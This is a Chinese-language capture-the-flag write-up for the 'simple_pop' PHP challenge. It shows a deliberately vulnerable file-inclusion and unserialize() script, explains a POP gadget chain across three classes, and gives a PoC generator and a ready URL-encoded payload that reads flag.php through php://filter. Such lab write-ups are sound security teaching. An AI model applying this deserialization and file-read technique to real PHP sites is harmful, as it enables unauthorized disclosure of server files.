BMZCTF：simple_pop-摩杜云开发者社区

BMZCTF：simple_pop

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the beijing")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

/?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

BMZCTF：simple_pop

<?php  
class Modifier {
    protected  $var;
    public function append($value){
        include($value);//flag.php
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['password'])){
    @unserialize($_GET['password']);
}
else{
    $a=new Show;
}
?>

反序列化，利用点在include($value)，控制$value进行伪协议文件读取，构造POP

首先需要调用Modifier::append()，构造触发Modifier::__invoke()，将对象Modifier赋给$p然后Test::__get()中存在将对象作为函数进行调用，接着构造触发Test::__get()，将对象Test赋给$str，然后在Show::__toString()中即可造成访问不可访问的属性，接着看看哪里触发Show::__toString()，在Show::__wakeup()中有preg_match()，其中第二个参数是传入字符的，将对象Show赋给$source即可

POP链如下：

Modifier::append()<--Modifier::__invoke()<--Test::__get()<--Show::__toString()<--Show::__wakeup()

poc如下：

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;

}

class Show{
    public $source;
    public $str;
    public function __construct(){
    $this->str = new Test();
    $this->str->p = new Modifier();
    }
}

class Test{
    public $p;
}

$objshow = new Show();
$objshow->source = new Show();
echo urlencode(serialize($objshow));
?>

/?text=php://input&file=useless.php&password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

BMZCTF：simple_pop

flag.php中没有发现flag

<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){  
	return ("");
}
?>

尝试读取/flag

BMZCTF：simple_pop